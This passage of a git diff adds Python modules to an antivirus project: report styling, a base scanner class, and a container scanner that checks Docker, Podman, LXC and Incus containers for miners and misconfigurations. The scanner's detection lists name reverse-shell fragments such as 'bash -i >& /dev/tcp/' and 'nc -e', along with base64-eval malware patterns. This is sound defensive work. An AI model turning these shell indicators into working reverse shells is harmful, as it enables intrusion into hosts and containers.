sr.start_time.isoformat() if hasattr(sr, "start_time") and sr.start_time else None, + "end_time": sr.end_time.isoformat() if hasattr(sr, "end_time") and sr.end_time else None, + "duration": sr.duration_seconds if hasattr(sr, "duration_seconds") else 0, + "files_scanned": getattr(sr, "files_scanned", 0), + "files_skipped": getattr(sr, "files_skipped", 0), + } + return threats, meta + + +def _sev_str(threat: ThreatInfo) -> str: + """Return the severity as an uppercase string.""" + sev = threat.severity + if hasattr(sev, "name"): + return sev.name + return str(sev).upper() + + +def _severity_counts(threats: List[ThreatInfo]) -> Dict[str, int]: + counts: Dict[str, int] = {"CRITICAL": 0, "HIGH": 0, "MEDIUM": 0, "LOW": 0} + for t in threats: + key = _sev_str(t) + counts[key] = counts.get(key, 0) + 1 + return counts + + +# --------------------------------------------------------------------------- +# Embedded CSS (dark theme) +# --------------------------------------------------------------------------- +_CSS = """\ +:root { + --bg: #0f1117; + --surface: #1a1d27; + --border: #2a2d3a; + --text: #e0e0e0; + --text-dim: #8b8fa3; + --accent: #00bcd4; + --critical: #ff1744; + --high: #ff9100; + --medium: #ffea00; + --low: #00e676; + --clean: #00e676; + --infected: #ff1744; +} + +* { margin: 0; padding: 0; box-sizing: border-box; } + +body { + font-family: 'Segoe UI', 'Inter', system-ui, -apple-system, sans-serif; + background: var(--bg); + color: var(--text); + line-height: 1.6; + padding: 0; +} + +header { + background: linear-gradient(135deg, #1a1d27 0%, #0d1117 100%); + border-bottom: 2px solid var(--accent); + text-align: center; + padding: 2rem 1rem; +} + +header .logo { + font-size: 2rem; + font-weight: 800; + color: var(--accent); + letter-spacing: 0.1em; +} + +header .subtitle { + color: var(--text-dim); + font-size: 0.95rem; + margin-top: 0.3rem; +} + +section { + max-width: 1200px; + margin: 2rem auto; + padding: 0 1.5rem; +} + +h2 { + color: var(--accent); + font-size: 1.25rem; + margin-bottom: 1rem; + border-bottom: 1px solid var(--border); + padding-bottom: 0.4rem; +} + +/* Summary cards */ +.cards { + display: flex; + flex-wrap: wrap; + gap: 1rem; + max-width: 1200px; + margin: 2rem auto; + padding: 0 1.5rem; +} + +.card { + flex: 1 1 140px; + background: var(--surface); + border: 1px solid var(--border); + border-radius: 8px; + padding: 1.2rem 1rem; + text-align: center; +} + +.card-value { + font-size: 2rem; + font-weight: 700; + color: var(--text); +} + +.card-label { + color: var(--text-dim); + font-size: 0.85rem; + margin-top: 0.2rem; +} + +.card-clean .card-value { color: var(--clean); } +.card-infected .card-value { color: var(--infected); } +.card-critical .card-value { color: var(--critical); } +.card-high .card-value { color: var(--high); } +.card-medium .card-value { color: var(--medium); } +.card-low .card-value { color: var(--low); } + +/* Tables */ +table { + width: 100%; + border-collapse: collapse; +} + +.info-table td { + padding: 0.5rem 0.75rem; + border-bottom: 1px solid var(--border); +} + +.info-table td:first-child { + color: var(--text-dim); + width: 180px; + font-weight: 600; +} + +.threat-table { + background: var(--surface); + border: 1px solid var(--border); + border-radius: 8px; + overflow: hidden; +} + +.threat-table thead th { + background: #12141c; + color: var(--accent); + padding: 0.7rem 0.75rem; + text-align: left; + font-size: 0.85rem; + text-transform: uppercase; + letter-spacing: 0.05em; +} + +.threat-table tbody td { + padding: 0.6rem 0.75rem; + border-bottom: 1px solid var(--border); + font-size: 0.9rem; + word-break: break-all; +} + +.threat-table tbody tr:hover { + background: rgba(0, 188, 212, 0.06); +} + +.threat-table .idx { color: var(--text-dim); width: 40px; } +.threat-table .hash { font-family: monospace; color: var(--text-dim); font-size: 0.8rem; } +.threat-table .empty { text-align: center; color: var(--clean); padding: 2rem; font-size: 1.1rem; } + +/* Severity badges */ +.badge { + display: inline-block; + padding: 0.15rem 0.6rem; + border-radius: 4px; + font-size: 0.78rem; + font-weight: 700; + text-transform: uppercase; + letter-spacing: 0.04em; +} + +.badge-critical { background: rgba(255,23,68,0.15); color: var(--critical); border: 1px solid var(--critical); } +.badge-high { background: rgba(255,145,0,0.15); color: var(--high); border: 1px solid var(--high); } +.badge-medium { background: rgba(255,234,0,0.12); color: var(--medium); border: 1px solid var(--medium); } +.badge-low { background: rgba(0,230,118,0.12); color: var(--low); border: 1px solid var(--low); } + +/* Footer */ +footer { + text-align: center; + color: var(--text-dim); + font-size: 0.8rem; + padding: 2rem 1rem; + border-top: 1px solid var(--border); + margin-top: 3rem; +} + +/* System info */ +.system { margin-bottom: 2rem; } +""" diff --git a/ayn-antivirus/ayn_antivirus/scanners/__init__.py b/ayn-antivirus/ayn_antivirus/scanners/__init__.py new file mode 100644 index 0000000..128eb00 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/scanners/__init__.py @@ -0,0 +1,17 @@ +"""AYN Antivirus scanner modules.""" + +from ayn_antivirus.scanners.base import BaseScanner +from ayn_antivirus.scanners.container_scanner import ContainerScanner +from ayn_antivirus.scanners.file_scanner import FileScanner +from ayn_antivirus.scanners.memory_scanner import MemoryScanner +from ayn_antivirus.scanners.network_scanner import NetworkScanner +from ayn_antivirus.scanners.process_scanner import ProcessScanner + +__all__ = [ + "BaseScanner", + "ContainerScanner", + "FileScanner", + "MemoryScanner", + "NetworkScanner", + "ProcessScanner", +] diff --git a/ayn-antivirus/ayn_antivirus/scanners/base.py b/ayn-antivirus/ayn_antivirus/scanners/base.py new file mode 100644 index 0000000..f5f26fe --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/scanners/base.py @@ -0,0 +1,58 @@ +"""Abstract base class for all AYN scanners.""" + +from __future__ import annotations + +import logging +from abc import ABC, abstractmethod +from typing import Any + +logger = logging.getLogger(__name__) + + +class BaseScanner(ABC): + """Common interface that every scanner module must implement. + + Subclasses provide a ``scan`` method whose *target* argument type varies + by scanner (a file path, a PID, a network connection, etc.). + """ + + # ------------------------------------------------------------------ + # Identity + # ------------------------------------------------------------------ + + @property + @abstractmethod + def name(self) -> str: + """Short, machine-friendly scanner identifier (e.g. ``"file_scanner"``).""" + ... + + @property + @abstractmethod + def description(self) -> str: + """Human-readable one-liner describing what this scanner does.""" + ... + + # ------------------------------------------------------------------ + # Scanning + # ------------------------------------------------------------------ + + @abstractmethod + def scan(self, target: Any) -> Any: + """Run the scanner against *target* and return a result object. + + The concrete return type is defined by each subclass. + """ + ... + + # ------------------------------------------------------------------ + # Helpers available to all subclasses + # ------------------------------------------------------------------ + + def _log_info(self, msg: str, *args: Any) -> None: + logger.info("[%s] " + msg, self.name, *args) + + def _log_warning(self, msg: str, *args: Any) -> None: + logger.warning("[%s] " + msg, self.name, *args) + + def _log_error(self, msg: str, *args: Any) -> None: + logger.error("[%s] " + msg, self.name, *args) diff --git a/ayn-antivirus/ayn_antivirus/scanners/container_scanner.py b/ayn-antivirus/ayn_antivirus/scanners/container_scanner.py new file mode 100644 index 0000000..2f583c9 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/scanners/container_scanner.py @@ -0,0 +1,1285 @@ +"""AYN Antivirus — Container Scanner. + +Scans Docker, Podman, and LXC containers for threats. +Supports: listing containers, scanning container filesystems, +inspecting container processes, checking container images, +and detecting cryptominers/malware inside containers. +""" + +from __future__ import annotations + +import json +import logging +import re +import shutil +import subprocess +from dataclasses import dataclass, field +from datetime import datetime +from typing import Any, Dict, List, Optional, Tuple + +from ayn_antivirus.constants import ( + CRYPTO_MINER_PROCESS_NAMES, + CRYPTO_POOL_DOMAINS, + SUSPICIOUS_PORTS, +) +from ayn_antivirus.scanners.base import BaseScanner +from ayn_antivirus.utils.helpers import generate_id + +logger = logging.getLogger(__name__) + + +# --------------------------------------------------------------------------- +# Data classes +# --------------------------------------------------------------------------- + +@dataclass +class ContainerInfo: + """Information about a discovered container.""" + + container_id: str + name: str + image: str + status: str # running, stopped, paused + runtime: str # docker, podman, lxc + created: str + ports: List[str] = field(default_factory=list) + mounts: List[str] = field(default_factory=list) + pid: int = 0 # host PID of container init process + ip_address: str = "" + labels: Dict[str, str] = field(default_factory=dict) + + def to_dict(self) -> dict: + return { + "container_id": self.container_id, + "name": self.name, + "image": self.image, + "status": self.status, + "runtime": self.runtime, + "created": self.created, + "ports": self.ports, + "mounts": self.mounts, + "pid": self.pid, + "ip_address": self.ip_address, + "labels": self.labels, + } + + +@dataclass +class ContainerThreat: + """A threat detected inside a container.""" + + container_id: str + container_name: str + runtime: str + threat_name: str + threat_type: str # virus, malware, miner, spyware, rootkit, misconfiguration + severity: str # CRITICAL, HIGH, MEDIUM, LOW + details: str + file_path: str = "" + process_name: str = "" + timestamp: str = field( + default_factory=lambda: datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S"), + ) + + def to_dict(self) -> dict: + return { + "container_id": self.container_id, + "container_name": self.container_name, + "runtime": self.runtime, + "threat_name": self.threat_name, + "threat_type": self.threat_type, + "severity": self.severity, + "details": self.details, + "file_path": self.file_path, + "process_name": self.process_name, + "timestamp": self.timestamp, + } + + +@dataclass +class ContainerScanResult: + """Result of scanning containers.""" + + scan_id: str + start_time: str + end_time: str = "" + containers_found: int = 0 + containers_scanned: int = 0 + threats: List[ContainerThreat] = field(default_factory=list) + containers: List[ContainerInfo] = field(default_factory=list) + errors: List[str] = field(default_factory=list) + + @property + def is_clean(self) -> bool: + return len(self.threats) == 0 + + @property + def duration_seconds(self) -> float: + if not self.end_time or not self.start_time: + return 0.0 + try: + s = datetime.strptime(self.start_time, "%Y-%m-%d %H:%M:%S") + e = datetime.strptime(self.end_time, "%Y-%m-%d %H:%M:%S") + return (e - s).total_seconds() + except Exception: + return 0.0 + + def to_dict(self) -> dict: + return { + "scan_id": self.scan_id, + "start_time": self.start_time, + "end_time": self.end_time, + "containers_found": self.containers_found, + "containers_scanned": self.containers_scanned, + "threats_found": len(self.threats), + "threats": [t.to_dict() for t in self.threats], + "containers": [c.to_dict() for c in self.containers], + "errors": self.errors, + "duration_seconds": self.duration_seconds, + } + + +# --------------------------------------------------------------------------- +# Scanner +# --------------------------------------------------------------------------- + +class ContainerScanner(BaseScanner): + """Scans Docker, Podman, and LXC containers for security threats. + + Gracefully degrades when a container runtime is not installed — only + the available runtimes are exercised. + """ + + _SAFE_CONTAINER_ID = re.compile(r'^[a-zA-Z0-9][a-zA-Z0-9_.\-]*$') + + def __init__(self) -> None: + self._docker_cmd = self._find_command("docker") + self._podman_cmd = self._find_command("podman") + self._lxc_cmd = self._find_command("lxc-ls") + self._incus_cmd = self._find_command("incus") + self._available_runtimes: List[str] = [] + if self._incus_cmd: + self._available_runtimes.append("incus") + if self._docker_cmd: + self._available_runtimes.append("docker") + if self._podman_cmd: + self._available_runtimes.append("podman") + if self._lxc_cmd: + self._available_runtimes.append("lxc") + + # ------------------------------------------------------------------ + # BaseScanner interface + # ------------------------------------------------------------------ + + @property + def name(self) -> str: + return "container_scanner" + + @property + def description(self) -> str: + return ( + "Scans Docker, Podman, and LXC containers for malware, " + "miners, and misconfigurations" + ) + + @property + def available_runtimes(self) -> List[str]: + return list(self._available_runtimes) + + def scan(self, target: Any = "all") -> ContainerScanResult: + """Scan all containers or a specific one. + + Parameters + ---------- + target: + ``"all"``, a runtime name (``"docker"``, ``"podman"``, + ``"lxc"``), or a container ID / name. + """ + result = ContainerScanResult( + scan_id=generate_id()[:16], + start_time=datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S"), + ) + + if not self._available_runtimes: + result.errors.append( + "No container runtimes found (docker/podman/lxc not installed)" + ) + result.end_time = datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S") + return result + + target = str(target) + if target in ("all", "docker", "podman", "lxc"): + runtime = "all" if target == "all" else target + containers = self.list_containers( + runtime=runtime, include_stopped=True, + ) + else: + containers = self._find_container(target) + + result.containers = containers + result.containers_found = len(containers) + + for container in containers: + try: + threats = self._scan_container(container) + result.threats.extend(threats) + result.containers_scanned += 1 + except Exception as exc: + msg = f"Error scanning {container.name}: {exc}" + result.errors.append(msg) + self._log_error("Error scanning container %s: %s", container.name, exc) + + result.end_time = datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S") + return result + + def scan_container(self, container_id: str) -> ContainerScanResult: + """Convenience — scan a single container by ID or name.""" + cid = self._sanitize_id(container_id) + return self.scan(target=cid) + + # ------------------------------------------------------------------ + # Internal helpers + # ------------------------------------------------------------------ + + @staticmethod + def _find_command(cmd: str) -> Optional[str]: + return shutil.which(cmd) + + @staticmethod + def _run_cmd( + cmd: List[str], + timeout: int = 30, + ) -> Tuple[str, str, int]: + """Run a shell command and return ``(stdout, stderr, returncode)``.""" + try: + proc = subprocess.run( + cmd, capture_output=True, text=True, timeout=timeout, + ) + return proc.stdout.strip(), proc.stderr.strip(), proc.returncode + except subprocess.TimeoutExpired: + return "", f"Command timed out: {' '.join(cmd)}", -1 + except FileNotFoundError: + return "", f"Command not found: {cmd[0]}", -1 + except Exception as exc: + return "", str(exc), -1 + + def _sanitize_id(self, container_id: str) -> str: + """Sanitize container ID/name for safe use in subprocess commands. + + Raises :class:`ValueError` if the ID contains invalid characters + or exceeds length limits. + """ + cid = container_id.strip() + if not cid or len(cid) > 128: + raise ValueError(f"Invalid container ID length: {len(cid)}") + if not self._SAFE_CONTAINER_ID.match(cid): + raise ValueError(f"Invalid container ID characters: {cid!r}") + return cid + + # ------------------------------------------------------------------ + # Container discovery + # ------------------------------------------------------------------ + + def list_containers( + self, + runtime: str = "all", + include_stopped: bool = False, + ) -> List[ContainerInfo]: + """List all containers across available runtimes.""" + containers: List[ContainerInfo] = [] + runtimes = ( + self._available_runtimes if runtime == "all" else [runtime] + ) + + for rt in runtimes: + if rt == "incus" and self._incus_cmd: + containers.extend(self._list_incus(include_stopped)) + elif rt == "docker" and self._docker_cmd: + containers.extend(self._list_docker(include_stopped)) + elif rt == "podman" and self._podman_cmd: + containers.extend(self._list_podman(include_stopped)) + elif rt == "lxc" and self._lxc_cmd: + containers.extend(self._list_lxc()) + + return containers + + # -- Docker -------------------------------------------------------- + + def _list_docker(self, include_stopped: bool = False) -> List[ContainerInfo]: + fmt = ( + "{{.ID}}\t{{.Names}}\t{{.Image}}\t{{.Status}}" + "\t{{.CreatedAt}}\t{{.Ports}}" + ) + cmd = [self._docker_cmd, "ps", "--format", fmt, "--no-trunc"] + if include_stopped: + cmd.append("-a") + stdout, stderr, rc = self._run_cmd(cmd) + if rc != 0: + self._log_warning("Docker ps failed: %s", stderr) + return [] + + containers: List[ContainerInfo] = [] + for line in stdout.splitlines(): + if not line.strip(): + continue + parts = line.split("\t") + if len(parts) < 4: + continue + cid = parts[0][:12] + name = parts[1] if len(parts) > 1 else "" + image = parts[2] if len(parts) > 2 else "" + status_str = parts[3] if len(parts) > 3 else "" + created = parts[4] if len(parts) > 4 else "" + ports_str = parts[5] if len(parts) > 5 else "" + + status = ( + "running" if "Up" in status_str + else "stopped" if "Exited" in status_str + else "unknown" + ) + ports = ( + [p.strip() for p in ports_str.split(",") if p.strip()] + if ports_str else [] + ) + info = self._inspect_docker(cid) + containers.append(ContainerInfo( + container_id=cid, + name=name, + image=image, + status=status, + runtime="docker", + created=created, + ports=ports, + mounts=info.get("mounts", []), + pid=info.get("pid", 0), + ip_address=info.get("ip", ""), + labels=info.get("labels", {}), + )) + return containers + + def _inspect_docker(self, container_id: str) -> Dict[str, Any]: + cid = self._sanitize_id(container_id) + cmd = [self._docker_cmd, "inspect", cid] + stdout, _, rc = self._run_cmd(cmd, timeout=10) + if rc != 0: + return {} + try: + data = json.loads(stdout) + if not data: + return {} + c = data[0] + state = c.get("State", {}) + network = c.get("NetworkSettings", {}) + mounts = [m.get("Source", "") for m in c.get("Mounts", [])] + ip = "" + for net_info in network.get("Networks", {}).values(): + if net_info.get("IPAddress"): + ip = net_info["IPAddress"] + break + return { + "pid": state.get("Pid", 0), + "ip": ip, + "mounts": mounts, + "labels": c.get("Config", {}).get("Labels", {}), + } + except (json.JSONDecodeError, KeyError, IndexError): + return {} + + # -- Podman -------------------------------------------------------- + + def _list_podman(self, include_stopped: bool = False) -> List[ContainerInfo]: + cmd = [self._podman_cmd, "ps", "--format", "json"] + if include_stopped: + cmd.append("-a") + stdout, stderr, rc = self._run_cmd(cmd) + if rc != 0: + self._log_warning("Podman ps failed: %s", stderr) + return [] + try: + data = json.loads(stdout) if stdout else [] + except json.JSONDecodeError: + return [] + + containers: List[ContainerInfo] = [] + for c in data: + cid = str(c.get("Id", ""))[:12] + names = c.get("Names", []) + name = names[0] if names else cid + status_str = str(c.get("State", c.get("Status", ""))) + status = ( + "running" if status_str.lower() in ("running", "up") + else "stopped" + ) + ports_list: List[str] = [] + for p in c.get("Ports", []) or []: + if isinstance(p, dict): + ports_list.append( + f"{p.get('hostPort', '')}:{p.get('containerPort', '')}" + ) + else: + ports_list.append(str(p)) + containers.append(ContainerInfo( + container_id=cid, + name=name, + image=c.get("Image", ""), + status=status, + runtime="podman", + created=str(c.get("Created", c.get("CreatedAt", ""))), + ports=ports_list, + pid=c.get("Pid", 0), + labels=c.get("Labels", {}), + )) + return containers + + # -- LXC ----------------------------------------------------------- + + def _list_lxc(self) -> List[ContainerInfo]: + stdout, stderr, rc = self._run_cmd( + [self._lxc_cmd, "--fancy", "-F", "name,state,ipv4,pid"], + ) + if rc != 0: + self._log_warning("LXC list failed: %s", stderr) + return [] + containers: List[ContainerInfo] = [] + for line in stdout.splitlines()[1:]: # skip header + parts = line.split() + if len(parts) < 2: + continue + name = parts[0] + state = parts[1].lower() + ip = parts[2] if len(parts) > 2 and parts[2] != "-" else "" + pid = ( + int(parts[3]) + if len(parts) > 3 and parts[3].isdigit() + else 0 + ) + containers.append(ContainerInfo( + container_id=name, + name=name, + image="lxc", + status="running" if state == "running" else "stopped", + runtime="lxc", + created="", + pid=pid, + ip_address=ip, + )) + return containers + + # -- Incus --------------------------------------------------------- + + def _list_incus(self, include_stopped: bool = False) -> List[ContainerInfo]: + """List Incus containers (and optionally VMs).""" + cmd = [self._incus_cmd, "list", "--format", "json"] + stdout, stderr, rc = self._run_cmd(cmd, timeout=15) + if rc != 0: + self._log_warning("Incus list failed: %s", stderr) + return [] + try: + data = json.loads(stdout) if stdout else [] + except json.JSONDecodeError: + return [] + + containers: List[ContainerInfo] = [] + for c in data: + status_str = c.get("status", "").lower() + if not include_stopped and status_str != "running": + continue + + name = c.get("name", "") + ctype = c.get("type", "container") + + # Extract IPv4 addresses from the network state. + ip_address = "" + net_state = c.get("state", {}).get("network", {}) or {} + for iface_name, iface in net_state.items(): + if iface_name == "lo": + continue + for addr in iface.get("addresses", []): + if addr.get("family") == "inet" and addr.get("scope") == "global": + ip_address = addr.get("address", "") + break + if ip_address: + break + + # Fallback: try expanded_devices for static IP. + if not ip_address: + devices = c.get("expanded_devices", {}) + for dev in devices.values(): + if dev.get("type") == "nic" and dev.get("ipv4.address"): + ip_address = dev["ipv4.address"] + break + + config = c.get("config", {}) + image_desc = config.get("image.description", "") + image_os = config.get("image.os", "") + image_release = config.get("image.release", "") + image = image_desc or f"{image_os} {image_release}".strip() or ctype + + # Proxy ports (Incus proxy devices act like port mappings). + ports: List[str] = [] + for dev_name, dev in c.get("expanded_devices", {}).items(): + if dev.get("type") == "proxy": + listen = dev.get("listen", "") + connect = dev.get("connect", "") + if listen and connect: + ports.append(f"{listen} -> {connect}") + + containers.append(ContainerInfo( + container_id=name, + name=name, + image=image, + status="running" if status_str == "running" else "stopped", + runtime="incus", + created=c.get("created_at", ""), + ports=ports, + ip_address=ip_address, + labels={ + k: v for k, v in config.items() + if not k.startswith("volatile.") + and not k.startswith("image.") + }, + )) + return containers + + def _inspect_incus(self, container_name: str) -> Dict[str, Any]: + """Inspect an Incus container for security-relevant config.""" + name = self._sanitize_id(container_name) + cmd = [self._incus_cmd, "config", "show", name] + stdout, _, rc = self._run_cmd(cmd, timeout=10) + if rc != 0: + return {} + try: + import yaml + data = yaml.safe_load(stdout) or {} + except Exception: + # Fallback: parse key lines manually. + data = {} + for line in stdout.splitlines(): + line = line.strip() + if ": " in line: + k, v = line.split(": ", 1) + data[k.strip()] = v.strip() + return data + + # ------------------------------------------------------------------ + # Container lookup + # ------------------------------------------------------------------ + + def _find_container(self, identifier: str) -> List[ContainerInfo]: + """Find a container by ID prefix or name across all runtimes.""" + safe_id = self._sanitize_id(identifier) + all_containers = self.list_containers( + runtime="all", include_stopped=True, + ) + return [ + c for c in all_containers + if safe_id in c.container_id + or safe_id.lower() == c.name.lower() + ] + + # ------------------------------------------------------------------ + # Scanning pipeline + # ------------------------------------------------------------------ + + def _scan_container( + self, container: ContainerInfo, + ) -> List[ContainerThreat]: + """Run all checks on a single container.""" + threats: List[ContainerThreat] = [] + + # Running-only checks + if container.status == "running": + threats.extend(self._check_processes(container)) + threats.extend(self._check_network(container)) + + # Always check these + threats.extend(self._check_filesystem(container)) + threats.extend(self._check_misconfigurations(container)) + if container.runtime == "incus": + threats.extend(self._check_incus_security(container)) + else: + threats.extend(self._check_image(container)) + + return threats + + # -- Process checks ------------------------------------------------ + + def _check_processes( + self, container: ContainerInfo, + ) -> List[ContainerThreat]: + """Check running processes inside the container for miners / malware.""" + threats: List[ContainerThreat] = [] + cmd_prefix = self._get_exec_prefix(container) + if not cmd_prefix: + return threats + + # Try ``ps aux`` inside the container. + stdout, _, rc = self._run_cmd(cmd_prefix + ["ps", "aux"], timeout=15) + if rc != 0: + # Fallback: ``docker|podman top``. + if container.runtime in ("docker", "podman"): + rt_cmd = ( + self._docker_cmd + if container.runtime == "docker" + else self._podman_cmd + ) + stdout, _, rc = self._run_cmd( + [rt_cmd, "top", container.container_id, + "-eo", "pid,user,%cpu,%mem,comm,args"], + timeout=15, + ) + if rc != 0: + return threats + + miner_names_lower = {n.lower() for n in CRYPTO_MINER_PROCESS_NAMES} + + for line in stdout.splitlines()[1:]: # skip header + parts = line.split() + if len(parts) < 6: + continue + + process_name = parts[-1].split("/")[-1].lower() + full_cmd = ( + " ".join(parts[10:]) + if len(parts) > 10 + else " ".join(parts[5:]) + ) + + # Known miner process names + for miner in miner_names_lower: + if miner in process_name or miner in full_cmd.lower(): + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name=f"CryptoMiner.Container.{miner.title()}", + threat_type="miner", + severity="CRITICAL", + details=( + f"Crypto miner process '{process_name}' detected " + f"inside container. CMD: {full_cmd[:200]}" + ), + process_name=process_name, + )) + break + + # High CPU usage + try: + cpu = float(parts[2]) + if cpu > 80: + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="HighCPU.Container.SuspiciousProcess", + threat_type="miner", + severity="HIGH", + details=( + f"Process '{process_name}' using {cpu}% CPU " + f"inside container. Possible cryptominer." + ), + process_name=process_name, + )) + except (ValueError, IndexError): + pass + + # Reverse shells + _SHELL_INDICATORS = [ + "nc -e", "ncat -e", "bash -i", "/dev/tcp/", + "python -c 'import socket", + "perl -e 'use Socket", + "ruby -rsocket", + "php -r '$sock", + ] + for indicator in _SHELL_INDICATORS: + if indicator in full_cmd: + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="ReverseShell.Container", + threat_type="malware", + severity="CRITICAL", + details=( + f"Reverse shell detected inside container: " + f"{full_cmd[:200]}" + ), + process_name=process_name, + )) + break + + return threats + + # -- Network checks ------------------------------------------------ + + def _check_network( + self, container: ContainerInfo, + ) -> List[ContainerThreat]: + """Check container network connections for suspicious activity.""" + threats: List[ContainerThreat] = [] + cmd_prefix = self._get_exec_prefix(container) + if not cmd_prefix: + return threats + + stdout, _, rc = self._run_cmd( + cmd_prefix + ["sh", "-c", "ss -tnp 2>/dev/null || netstat -tnp 2>/dev/null"], + timeout=15, + ) + if rc != 0 or not stdout: + return threats + + pool_domains_lower = {d.lower() for d in CRYPTO_POOL_DOMAINS} + + for line in stdout.splitlines(): + line_lower = line.lower() + for pool in pool_domains_lower: + if pool in line_lower: + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name=f"MiningPool.Container.{pool}", + threat_type="miner", + severity="CRITICAL", + details=( + f"Container connecting to mining pool: " + f"{line.strip()[:200]}" + ), + )) + for port in SUSPICIOUS_PORTS: + if f":{port}" in line: + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name=f"SuspiciousPort.Container.{port}", + threat_type="malware", + severity="MEDIUM", + details=( + f"Container connection on suspicious port {port}: " + f"{line.strip()[:200]}" + ), + )) + + return threats + + # -- Filesystem checks --------------------------------------------- + + def _check_filesystem( + self, container: ContainerInfo, + ) -> List[ContainerThreat]: + """Scan container filesystem for suspicious files.""" + threats: List[ContainerThreat] = [] + + if container.runtime == "incus": + return self._check_filesystem_via_exec(container) + + if container.runtime not in ("docker", "podman"): + return threats + runtime_cmd = ( + self._docker_cmd + if container.runtime == "docker" + else self._podman_cmd + ) + if not runtime_cmd: + return threats + + # -- suspicious scripts in temp directories -------------------- + check_dirs = ["/tmp", "/var/tmp", "/dev/shm", "/root", "/home"] + for check_dir in check_dirs: + cmd = [ + runtime_cmd, "exec", container.container_id, + "find", check_dir, "-maxdepth", "3", "-type", "f", + "-name", "*.sh", "-o", "-name", "*.py", + "-o", "-name", "*.elf", "-o", "-name", "*.bin", + ] + stdout, _, rc = self._run_cmd(cmd, timeout=15) + if rc != 0 or not stdout: + continue + for fpath in stdout.splitlines()[:50]: + fpath = fpath.strip() + if not fpath: + continue + cat_cmd = [ + runtime_cmd, "exec", container.container_id, + "head", "-c", "8192", fpath, + ] + content, _, crc = self._run_cmd(cat_cmd, timeout=10) + if crc != 0: + continue + ct_lower = content.lower() + + if "stratum+tcp://" in ct_lower or "stratum+ssl://" in ct_lower: + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="MinerConfig.Container", + threat_type="miner", + severity="CRITICAL", + details=( + f"Mining configuration found in container: {fpath}" + ), + file_path=fpath, + )) + + _MALICIOUS_PATTERNS = [ + "eval(base64_decode(", + "exec(base64.b64decode(", + "import socket;socket.socket", + "/dev/tcp/", + "bash -i >& /dev/tcp/", + ] + if any(s in ct_lower for s in _MALICIOUS_PATTERNS): + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="MaliciousScript.Container", + threat_type="malware", + severity="HIGH", + details=( + f"Suspicious script pattern in container file: " + f"{fpath}" + ), + file_path=fpath, + )) + + # -- unexpected SUID binaries ---------------------------------- + _EXPECTED_SUID = { + "/usr/bin/passwd", "/usr/bin/su", "/usr/bin/sudo", + "/usr/bin/newgrp", "/usr/bin/chfn", "/usr/bin/chsh", + "/usr/bin/gpasswd", "/bin/su", "/bin/mount", "/bin/umount", + "/usr/bin/mount", "/usr/bin/umount", + } + cmd = [ + runtime_cmd, "exec", container.container_id, + "find", "/", "-maxdepth", "4", "-perm", "-4000", "-type", "f", + ] + stdout, _, rc = self._run_cmd(cmd, timeout=20) + if rc == 0 and stdout: + for fpath in stdout.splitlines(): + fpath = fpath.strip() + if fpath and fpath not in _EXPECTED_SUID: + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="UnexpectedSUID.Container", + threat_type="rootkit", + severity="MEDIUM", + details=( + f"Unexpected SUID binary in container: {fpath}" + ), + file_path=fpath, + )) + + return threats + + # -- Misconfiguration checks --------------------------------------- + + def _check_misconfigurations( + self, container: ContainerInfo, + ) -> List[ContainerThreat]: + """Check container for security misconfigurations.""" + threats: List[ContainerThreat] = [] + + # Incus misconfigs are handled in _check_incus_security. + if container.runtime not in ("docker", "podman"): + return threats + runtime_cmd = ( + self._docker_cmd + if container.runtime == "docker" + else self._podman_cmd + ) + if not runtime_cmd: + return threats + + stdout, _, rc = self._run_cmd( + [runtime_cmd, "inspect", container.container_id], + ) + if rc != 0: + return threats + try: + data = json.loads(stdout) + if not data: + return threats + c = data[0] + except (json.JSONDecodeError, IndexError): + return threats + + host_config = c.get("HostConfig", {}) + config = c.get("Config", {}) + + # Running as root + user = config.get("User", "") + if not user or user in ("root", "0"): + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="RunAsRoot.Container", + threat_type="misconfiguration", + severity="MEDIUM", + details=( + "Container running as root user. " + "Use a non-root user for better isolation." + ), + )) + + # Privileged mode + if host_config.get("Privileged", False): + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="PrivilegedMode.Container", + threat_type="misconfiguration", + severity="CRITICAL", + details=( + "Container running in privileged mode! " + "This grants full host access." + ), + )) + + # Host network + if host_config.get("NetworkMode", "") == "host": + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="HostNetwork.Container", + threat_type="misconfiguration", + severity="HIGH", + details=( + "Container using host network mode. " + "This bypasses network isolation." + ), + )) + + # Host PID namespace + if host_config.get("PidMode") == "host": + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="HostPID.Container", + threat_type="misconfiguration", + severity="HIGH", + details=( + "Container sharing host PID namespace. " + "Container can see all host processes." + ), + )) + + # Dangerous capabilities + _DANGEROUS_CAPS = { + "SYS_ADMIN", "SYS_PTRACE", "NET_ADMIN", "SYS_RAWIO", + "DAC_OVERRIDE", "SYS_MODULE", "NET_RAW", + } + added_caps = set(host_config.get("CapAdd", []) or []) + for cap in sorted(added_caps & _DANGEROUS_CAPS): + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name=f"DangerousCap.Container.{cap}", + threat_type="misconfiguration", + severity="HIGH", + details=f"Container has dangerous capability: {cap}", + )) + + # Sensitive host mounts + _SENSITIVE_MOUNTS = { + "/", "/etc", "/var/run/docker.sock", "/proc", "/sys", + "/dev", "/root", 